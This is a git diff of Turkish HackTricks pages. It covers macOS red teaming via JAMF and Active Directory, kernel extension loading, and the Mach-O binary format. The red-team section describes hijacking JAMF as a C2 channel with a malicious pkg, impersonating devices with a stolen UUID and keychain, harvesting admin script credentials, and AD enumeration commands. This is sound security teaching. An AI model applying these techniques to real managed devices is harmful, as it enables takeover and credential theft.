-**`jamf`** ikili dosyası, keşif zamanında herkesle **paylaşılan** anahtar zincirini açmak için gizli anahtarı içeriyordu: **`jk23ucnq91jfu9aj`**.\ -Ayrıca, jamf **LaunchDaemon** olarak **`/Library/LaunchAgents/com.jamf.management.agent.plist`** konumunda kalıcı olarak çalışır. +**`jamf`** ikili dosyası, keşif zamanında herkesle paylaşılan anahtarı açmak için gizliydi ve o zamanlar: **`jk23ucnq91jfu9aj`** idi.\ +Ayrıca, jamf **`/Library/LaunchAgents/com.jamf.management.agent.plist`** konumunda bir **LaunchDaemon** olarak kalıcıdır. #### JAMF Cihaz Devralma -**`jamf`**'ın kullanacağı **JSS** (Jamf Yazılım Sunucusu) **URL**'si **`/Library/Preferences/com.jamfsoftware.jamf.plist`** konumundadır.\ -Bu dosya temel olarak URL'yi içerir: +**`jamf`**'ın kullanacağı **JSS** (Jamf Yazılım Sunucusu) **URL'si**, **`/Library/Preferences/com.jamfsoftware.jamf.plist`** konumundadır.\ +Bu dosya temelde URL'yi içerir: {% code overflow="wrap" %} ```bash @@ -78,9 +78,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist 4 [...] ``` -{% endcode %} - -Böylece, bir saldırgan, bu dosyayı üzerine yazan kötü amaçlı bir paket (`pkg`) bırakabilir ve kurulduğunda **URL'yi Typhon ajanından bir Mythic C2 dinleyicisine ayarlayabilir**, böylece JAMF'ı C2 olarak kullanabilir. +Böylece, bir saldırgan, bu dosyayı **üzerine yazacak şekilde ayarlanmış kötü amaçlı bir paket (`pkg`) bırakabilir ve yüklendiğinde URL'yi bir Typhon ajanından Mythic C2 dinleyicisine ayarlayarak artık JAMF'ı C2 olarak kötüye kullanabilir.** ```bash # After changing the URL you could wait for it to be reloaded or execute: sudo jamf policy -id 0 @@ -89,26 +87,26 @@ sudo jamf policy -id 0 ``` {% endcode %} -#### JAMF Taklit Etme +#### JAMF Taklit -Bir cihaz ve JMF arasındaki iletişimi **taklit etmek** için şunlara ihtiyacınız vardır: +Cihaz ve JMF arasındaki iletişimi **taklit etmek** için şunlara ihtiyacınız vardır: * Cihazın **UUID**'si: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` * Cihaz sertifikasını içeren **JAMF anahtar zinciri**: `/Library/Application\ Support/Jamf/JAMF.keychain` -Bu bilgilerle, **çalınan** Donanım **UUID**'ye sahip ve **SIP devre dışı** bırakılmış bir VM **oluşturun**, **JAMF anahtar zincirini** bırakın, Jamf **ajanını** **kancalayın** ve bilgilerini çalın. +Bu bilgilerle, **çalınan** Donanım **UUID'si** ile ve **SIP devre dışı** bırakılmış bir VM **oluşturun**, **JAMF anahtar zincirini** bırakın, Jamf **ajansını kancala** ve bilgilerini çalın. #### Sırların Çalınması

a

-Ayrıca, **özel betikleri** Jamf aracılığıyla çalıştırmak isteyebilecek yöneticilerin yerini izleyebilirsiniz. Bu betikler buraya yerleştirilir, çalıştırılır ve kaldırılır. Bu betikler **kimlik bilgilerini içerebilir**. +Ayrıca, yöneticilerin Jamf aracılığıyla yürütmek isteyebileceği **özel betikleri** izlemek için `/Library/Application Support/Jamf/tmp/` konumunu izleyebilirsiniz çünkü bunlar buraya **yerleştirilir, yürütülür ve kaldırılır**. Bu betikler **kimlik bilgilerini içerebilir**. -Ancak, **kimlik bilgileri** bu betiklere **parametreler** olarak geçirilebilir, bu yüzden `ps aux | grep -i jamf`'ı (root olmadan bile) izlemeniz gerekecektir. +Ancak, **kimlik bilgileri** bu betiklere **parametreler** olarak iletilmiş olabilir, bu nedenle `ps aux | grep -i jamf`'yi (root olmadan bile) izlemeniz gerekebilir. -[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) adlı betik, yeni dosyaların eklenmesini ve yeni işlem argümanlarını dinleyebilir. +[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) betiği, eklenen yeni dosyaları ve yeni işlem argümanlarını dinleyebilir. -### macOS Uzaktan Erişim +### macOS Uzak Erişim Ve ayrıca **MacOS** "özel" **ağ** **protokolleri** hakkında: @@ -118,7 +116,7 @@ Ve ayrıca **MacOS** "özel" **ağ** **protokolleri** hakkında: ## Active Directory -Bazı durumlarda **MacOS bilgisayarının bir AD'ye bağlı olduğunu** göreceksiniz. Bu senaryoda, alıştığınız gibi aktif dizini **numaralandırmaya** çalışmalısınız. Aşağıdaki sayfalarda **yardım** bulun: +Bazı durumlarda **MacOS bilgisayarının bir AD'ye bağlı olduğunu** göreceksiniz. Bu senaryoda, genellikle yaptığınız gibi aktif dizini **numaralandırmaya çalışmalısınız**. Aşağıdaki sayfalarda **yardım** bulabilirsiniz: {% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} [pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md) @@ -132,36 +130,36 @@ Bazı durumlarda **MacOS bilgisayarının bir AD'ye bağlı olduğunu** görecek [pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/) {% endcontent-ref %} -Size yardımcı olabilecek bazı **yerel MacOS araçları** `dscl`'dir: +Size yardımcı olabilecek bazı **yerel MacOS araçları** da `dscl`'dir: ```bash dscl "/Active Directory/[Domain]/All Domains" ls / ``` -Ayrıca, MacOS için AD'yi otomatik olarak sıralamak ve kerberos ile oynamak için bazı araçlar hazırlanmıştır: +Ayrıca, MacOS için AD'yi otomatik olarak numaralandırmak ve kerberos ile oynamak için bazı araçlar hazırlanmıştır: -* [**Machound**](https://github.com/XMCyber/MacHound): MacHound, MacOS ana bilgisayarlarında Active Directory ilişkilerini toplamaya ve içe aktarmaya izin veren Bloodhound denetim aracının bir uzantısıdır. -* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS üzerinde Heimdal krb5 API'leri ile etkileşim kurmak için tasarlanmış bir Objective-C projesidir. Projenin amacı, hedefte başka bir çerçeve veya paket gerektirmeden yerel API'leri kullanarak macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapmaktır. -* [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory sıralaması yapmak için JavaScript for Automation (JXA) aracı. +* [**Machound**](https://github.com/XMCyber/MacHound): MacHound, MacOS ana bilgisayarlarında Active Directory ilişkilerini toplamak ve almak için Bloodhound denetim aracına bir uzantıdır. +* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS'ta Heimdal krb5 API'leri ile etkileşim sağlamak üzere tasarlanmış bir Objective-C projesidir. Projenin amacı, hedef üzerinde herhangi bir diğer çerçeve veya paket gerektirmeksizin macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapılmasını sağlamaktır. +* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) aracı, Active Directory numaralandırması yapmak için kullanılır. -### Alan Bilgisi +### Alan Bilgileri ```bash echo show com.apple.opendirectoryd.ActiveDirectory | scutil ``` ### Kullanıcılar -MacOS kullanıcılarının üç türü vardır: +MacOS kullanıcılarının üç türü şunlardır: -* **Yerel Kullanıcılar** - Yerel OpenDirectory hizmeti tarafından yönetilen, Active Directory ile herhangi bir şekilde bağlantılı olmayan kullanıcılardır. -* **Ağ Kullanıcıları** - Geçici Active Directory kullanıcılarıdır ve kimlik doğrulaması için DC sunucusuna bağlantı gerektirirler. -* **Mobil Kullanıcılar** - Kimlik bilgileri ve dosyaları için yerel bir yedek olan Active Directory kullanıcılarıdır. +- **Yerel Kullanıcılar** — Yerel OpenDirectory hizmeti tarafından yönetilen, Active Directory ile herhangi bir şekilde bağlantılı olmayan kullanıcılar. +- **Ağ Kullanıcıları** — Geçici Active Directory kullanıcıları, kimlik doğrulamak için DC sunucusuna bağlantı gerektirir. +- **Mobil Kullanıcılar** — Kimlik ve dosyaları için yerel bir yedekleme olan Active Directory kullanıcıları. -Kullanıcılar ve gruplar hakkındaki yerel bilgiler, _/var/db/dslocal/nodes/Default_ klasöründe saklanır.\ -Örneğin, _mark_ adlı kullanıcıyla ilgili bilgiler _/var/db/dslocal/nodes/Default/users/mark.plist_ dosyasında saklanır ve _admin_ adlı grupla ilgili bilgiler _/var/db/dslocal/nodes/Default/groups/admin.plist_ dosyasında bulunur. +Kullanıcılar ve gruplarla ilgili yerel bilgiler, _/var/db/dslocal/nodes/Default_ klasöründe saklanır.\ +Örneğin, _mark_ adlı kullanıcıyla ilgili bilgiler _/var/db/dslocal/nodes/Default/users/mark.plist_ dosyasında saklanır ve _admin_ grubuyla ilgili bilgiler _/var/db/dslocal/nodes/Default/groups/admin.plist_ dosyasında bulunur. -MacHound, Bloodhound veritabanına HasSession ve AdminTo kenarlarına ek olarak **üç yeni kenar** ekler: +HasSession ve AdminTo kenarlarını kullanmanın yanı sıra, **MacHound Bloodhound veritabanına üç yeni kenar ekler**: -* **CanSSH** - ana bilgisayara SSH yapmaya izin verilen varlık -* **CanVNC** - ana bilgisayara VNC yapmaya izin verilen varlık -* **CanAE** - ana bilgisayarda AppleEvent komut dosyalarını çalıştırmaya izin verilen varlık +- **CanSSH** - ana bilgisayara SSH yapmaya izin verilen varlık +- **CanVNC** - ana bilgisayara VNC yapmaya izin verilen varlık +- **CanAE** - ana bilgisayarda AppleEvent komut dosyalarını çalıştırmaya izin verilen varlık ```bash #User enumeration dscl . ls /Users @@ -185,9 +183,9 @@ dsconfigad -show ``` Daha fazla bilgi için [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) adresine bakabilirsiniz. -## Keychain'e Erişim +## Anahtarlık Erişimi -Keychain, muhtemelen bir prompt oluşturmadan erişilen hassas bilgileri içerir ve bu da bir kırmızı takım egzersizinde ilerlemeye yardımcı olabilir: +Anahtarlık büyük olasılıkla hassas bilgiler içerir ve eğer bir uyarı oluşturmadan erişilirse kırmızı takım egzersizine devam etmede yardımcı olabilir: {% content-ref url="macos-keychain.md" %} [macos-keychain.md](macos-keychain.md) @@ -195,13 +193,13 @@ Keychain, muhtemelen bir prompt oluşturmadan erişilen hassas bilgileri içerir ## Harici Hizmetler -MacOS Kırmızı Takım çalışması, genellikle **MacOS'un doğrudan birkaç harici platformla entegre olduğu** normal bir Windows Kırmızı Takım çalışmasından farklıdır. MacOS'un yaygın bir yapılandırması, **OneLogin senkronize kimlik bilgileri kullanarak bilgisayara erişim sağlamak ve OneLogin aracılığıyla birkaç harici hizmete** (github, aws gibi) erişmektir. +MacOS Kırmızı Takımı, genellikle **MacOS'un doğrudan birkaç harici platformla entegre olduğu normal Windows Kırmızı Takımdan farklıdır**. MacOS'un yaygın bir yapılandırması, **OneLogin senkronize kimlik bilgileri kullanarak bilgisayara erişim sağlamak ve OneLogin aracılığıyla birkaç harici hizmete erişmek** (github, aws gibi). ## Çeşitli Kırmızı Takım teknikleri ### Safari -Safari'de bir dosya indirildiğinde, eğer "güvenli" bir dosya ise, **otomatik olarak açılır**. Örneğin, bir zip dosyası indirirseniz, otomatik olarak açılır: +Safari'de bir dosya indirildiğinde, eğer "güvenli" bir dosya ise **otomatik olarak açılacaktır**. Örneğin, bir zip dosyası indirirseniz, otomatik olarak açılacaktır:
@@ -212,17 +210,3 @@ Safari'de bir dosya indirildiğinde, eğer "güvenli" bir dosya ise, **otomatik * [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0) * [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY) * [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA) - -
- -AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin! - -HackTricks'i desteklemenin diğer yolları: - -* Şirketinizi HackTricks'te **reklamınızı yapmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** -* **Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.** - -
diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index 2f5958c63..2210e558c 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -1,48 +1,48 @@ -# macOS Çekirdek Uzantıları +# macOS Kernel Uzantıları
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! -* **Bir siber güvenlik şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te duyurmak** ister misiniz? **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin. -* [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin. -* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) **beni takip edin**. -* **Hacking hilelerinizi göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**. +* **Bir siber güvenlik şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu +* [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin +* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) **takip edin**. +* **Hacking püf noktalarınızı göndererek PR göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**.
## Temel Bilgiler -Çekirdek uzantıları (Kext'ler), ana işletim sistemine ek işlevsellik sağlayan **`.kext`** uzantılı **paketlerdir** ve doğrudan macOS çekirdek alanına yüklenir. +Kernel uzantıları (Kexts), ana işletim sistemine ek işlevsellik sağlayan ve **`.kext`** uzantısına sahip **paketler** olan **doğrudan macOS çekirdek alanına yüklenen** bileşenlerdir. ### Gereksinimler -Açıkçası, bu kadar güçlü olduğu için bir çekirdek uzantısını yüklemek **karmaşık bir işlemdir**. Bir çekirdek uzantısının yüklenmesi için karşılanması gereken **gereksinimler** şunlardır: +Bu kadar güçlü olduğundan, bir kernel uzantısını yüklemek **oldukça karmaşıktır**. Bir kernel uzantısının yüklenmesi için karşılanması gereken **gereksinimler** şunlardır: -* **Kurtarma moduna girildiğinde**, çekirdek **uzantılarının yüklenmesine izin verilmelidir**: +* Kurtarma moduna **girildiğinde**, kernel **uzantılarının yüklenmesine izin verilmelidir**: -
+
-* Çekirdek uzantısı, yalnızca **Apple tarafından verilebilen bir çekirdek kodu imzalama sertifikasıyla imzalanmalıdır**. Apple, şirketi ve nedenlere ayrıntılı olarak inceleyecektir. -* Çekirdek uzantısı ayrıca **notarized** olmalıdır, Apple tarafından kötü amaçlı yazılım kontrol edilebilir. -* Ardından, **root** kullanıcısı, çekirdek uzantısını **yükleyebilen** ve paket içindeki dosyaların **root'a ait olması gereken** kullanıcıdır. -* Yükleme işlemi sırasında, paketin **korunan bir kök olmayan konuma** hazırlanması gerekmektedir: `/Library/StagedExtensions` (`com.apple.rootless.storage.KernelExtensionManagement` iznini gerektirir). -* Son olarak, yüklemeye çalışıldığında, kullanıcı [**bir onay isteği alacak**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) ve kabul edilirse, bunu yüklemek için bilgisayarın **yeniden başlatılması gerekmektedir**. +* Kernel uzantısı, yalnızca **Apple tarafından verilebilen bir çekirdek kodu imzalama sertifikasıyla** imzalanmış olmalıdır. Şirketi ve neden gerekli olduğunu detaylı olarak inceleyecek olan Apple. +* Kernel uzantısı ayrıca **notarized** olmalıdır, Apple tarafından kötü amaçlı yazılım için kontrol edilebilir olacaktır. +* Ardından, **root** kullanıcısı, kernel uzantısını **yükleyebilen** ve paket içindeki dosyaların **root'a ait olması gereken** kişidir. +* Yükleme işlemi sırasında, paketin **korunan bir kök olmayan konumda** hazırlanması gerekir: `/Library/StagedExtensions` (`com.apple.rootless.storage.KernelExtensionManagement` iznini gerektirir). +* Son olarak, yüklemeye çalışıldığında, kullanıcı [**bir onay isteği alacak**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) ve kabul edilirse, bilgisayarın yüklenmesi için **yeniden başlatılması gerekecektir**. -### Yükleme işlemi +### Yükleme Süreci -Catalina'da durum şöyleydi: **Doğrulama** işlemi **kullanıcı alanında** gerçekleşir. Ancak, yalnızca **`com.apple.private.security.kext-management`** iznine sahip uygulamalar, çekirdeğe bir uzantı yüklemesini **istemek için çekirdeğe başvurabilir**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` +Catalina'da böyleydi: **Doğrulama** sürecinin **userland**'da gerçekleştiğini belirtmek ilginçtir. Ancak, yalnızca **`com.apple.private.security.kext-management`** iznine sahip uygulamalar, uzantının yüklenmesini istemek için çekirdeğe başvurabilir: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` -1. **`kextutil`** komut satırı arayüzü, bir uzantıyı yüklemek için **doğrulama** işlemini **başlatır** -* Bir **Mach hizmeti** kullanarak **`kextd`** ile iletişim kurar. -2. **`kextd`**, imza gibi birkaç şeyi kontrol eder -* **`syspolicyd`** ile iletişim kurarak uzantının **yüklenip yüklenemeyeceğini kontrol eder**. -3. **`syspolicyd`**, uzantı daha önce yüklenmediyse **kullanıcıya bir onay istemi** yapar. -* **`syspolicyd`**, sonucu **`kextd`'ye bildirir**. -4. **`kextd`**, sonunda çekirdeğe uzantıyı **yüklemek için** izin verebilir +1. **`kextutil`** cli, bir uzantının yüklenmesi için **doğrulama** sürecini **başlatır** +* Bir **Mach servisi** kullanarak **`kextd`** ile iletişim kuracaktır. +2. **`kextd`**, imza gibi birkaç şeyi kontrol edecek +* Uzantının **yüklenip yüklenemeyeceğini kontrol etmek** için **`syspolicyd`** ile iletişim kuracaktır. +3. **`syspolicyd`**, uzantı daha önce yüklenmediyse **kullanıcıya bir onay isteği gönderecektir**. +* **`syspolicyd`**, sonucu **`kextd`'ye** bildirecektir +4. **`kextd`**, sonunda çekirdeğe uzantıyı yüklemesi için **talimat verebilecektir** -**`kextd`** kullanılamıyorsa, **`kextutil`** aynı kontrolleri yapabilir. +Eğer **`kextd`** mevcut değilse, **`kextutil`** aynı kontrolleri yapabilir. ## Referanslar @@ -51,12 +51,12 @@ Catalina'da durum şöyleydi: **Doğrulama** işlemi **kullanıcı alanında** g
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! -* **Bir siber güvenlik şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te duyurmak** ister misiniz? **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin. -* [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin. -* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) **beni takip edin**. -* **Hacking hilelerinizi göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**. +* **Bir siber güvenlik şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu +* [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin +* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) **takip edin**. +* **Hacking püf noktalarınızı göndererek PR göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md index c1e25740f..d83d98d0c 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md @@ -2,23 +2,23 @@
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin! +AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'in (https://opensea.io/collection/the-peass-family) bulunduğu koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
## Temel Bilgiler -Mac OS ikili dosyaları genellikle **evrensel ikili dosyalar** olarak derlenir. Bir **evrensel ikili dosya**, aynı dosyada **çoklu mimarileri destekleyebilir**. +Mac OS ikili dosyalar genellikle **evrensel ikili dosyalar** olarak derlenir. Bir **evrensel ikili dosya**, **aynı dosyada birden fazla mimariyi destekleyebilir**. -Bu ikili dosyalar, temel olarak şu şekilde oluşan **Mach-O yapısını** takip eder: +Bu ikili dosyalar genellikle **Mach-O yapısını** takip eder, bu yapının temel olarak şunlardan oluşur: * Başlık * Yükleme Komutları @@ -26,7 +26,7 @@ Bu ikili dosyalar, temel olarak şu şekilde oluşan **Mach-O yapısını** taki ![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (559).png>) -## Yağ Başlık +## Yağlı Başlık Dosyayı şu komutla arayın: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"` @@ -41,50 +41,50 @@ struct fat_header { struct fat_arch { cpu_type_t cputype; /* cpu belirleyici (int) */ cpu_subtype_t cpusubtype; /* makine belirleyici (int) */ -uint32_t offset; /* bu nesne dosyasına göre dosya ofseti */ +uint32_t offset; /* bu nesne dosyasına dosya ofseti */ uint32_t size; /* bu nesne dosyasının boyutu */ uint32_t align; /* 2'nin üssü olarak hizalama */ }; -Başlık, **sihirli** baytları ve dosyanın içerdiği **mimari sayısını** (`nfat_arch`) takip eden her bir mimarinin bir `fat_arch` yapısına sahip olduğu bilgileri içerir. +Başlık, **sihirli** baytları ve dosyanın içerdiği **mimari sayısını** (`nfat_arch`) takip eden her mimarinin bir `fat_arch` yapısına sahip olduğu baytları içerir. -Bunu şu şekilde kontrol edin: +Şununla kontrol edin:
% file /bin/ls
-/bin/ls: 2 mimariye sahip Mach-O evrensel ikili dosya: [x86_64:Mach-O 64-bit çalıştırılabilir x86_64] [arm64e:Mach-O 64-bit çalıştırılabilir arm64e]
-/bin/ls (mimari x86_64 için):	Mach-O 64-bit çalıştırılabilir x86_64
-/bin/ls (mimari arm64e için):	Mach-O 64-bit çalıştırılabilir arm64e
+/bin/ls: 2 mimariye sahip Mach-O evrensel ikili dosya: [x86_64:Mach-O 64-bit yürütülebilir x86_64] [arm64e:Mach-O 64-bit yürütülebilir arm64e]
+/bin/ls (mimari x86_64 için):	Mach-O 64-bit yürütülebilir x86_64
+/bin/ls (mimari arm64e için):	Mach-O 64-bit yürütülebilir arm64e
 
 % otool -f -v /bin/ls
-Yağ başlıklar
+Yağlı başlıklar
 fat_magic FAT_MAGIC
 nfat_arch 2
 mimari x86_64
     cputype CPU_TYPE_X86_64
 cpusubtype CPU_SUBTYPE_X86_64_ALL
-capabilities 0x0
-    offset 16384
-    size 72896
-    align 2^14 (16384)
+yetenekler 0x0
+    ofset 16384
+    boyut 72896
+    hizalama 2^14 (16384)
 mimari arm64e
     cputype CPU_TYPE_ARM64
 cpusubtype CPU_SUBTYPE_ARM64E
-capabilities PTR_AUTH_VERSION USERSPACE 0
-    offset 98304
-    size 88816
-    align 2^14 (16384)
+yetenekler PTR_AUTH_VERSION USERSPACE 0
+    ofset 98304
+    boyut 88816
+    hizalama 2^14 (16384)
 
veya [Mach-O View](https://sourceforge.net/projects/machoview/) aracını kullanarak:
-Genellikle 2 mimari için derlenen evrensel bir ikili dosya, yalnızca 1 mimari için derlenene göre **boyutunu ikiye katlar**. +Genellikle 2 mimari için derlenen bir evrensel ikili dosya, yalnızca 1 mimari için derlenen bir dosyanın boyutunu **iki katına çıkarır**. ## **Mach-O Başlık** -Başlık, dosyanın sihirli baytlarını ve hedef mimari hakkında bilgiler gibi dosya hakkında temel bilgiler içerir. Başlığı şurada bulabilirsiniz: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"` +Başlık, dosya hakkında temel bilgiler içerir, örneğin dosyayı Mach-O dosyası olarak tanımlayan sihirli baytlar ve hedef mimari hakkında bilgiler. Bu bilgileri şurada bulabilirsiniz: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"` ```c #define MH_MAGIC 0xfeedface /* the mach magic number */ #define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */ @@ -111,11 +111,11 @@ uint32_t flags; /* flags */ uint32_t reserved; /* reserved */ }; ``` -**Dosya türleri**: +**Dosya Türleri**: * MH\_EXECUTE (0x2): Standart Mach-O yürütülebilir dosyası -* MH\_DYLIB (0x6): Bir Mach-O dinamik bağlantılı kütüphane (yani .dylib) -* MH\_BUNDLE (0x8): Bir Mach-O paketi (yani .bundle) +* MH\_DYLIB (0x6): Bir Mach-O dinamik bağlantılı kütüphane (.dylib) +* MH\_BUNDLE (0x8): Bir Mach-O paketi (.bundle) ```bash # Checking the mac header of a binary otool -arch arm64e -hv /bin/ls @@ -129,39 +129,39 @@ Veya [Mach-O View](https://sourceforge.net/projects/machoview/) kullanarak: ## **Mach-O Yükleme komutları** -Bellekteki 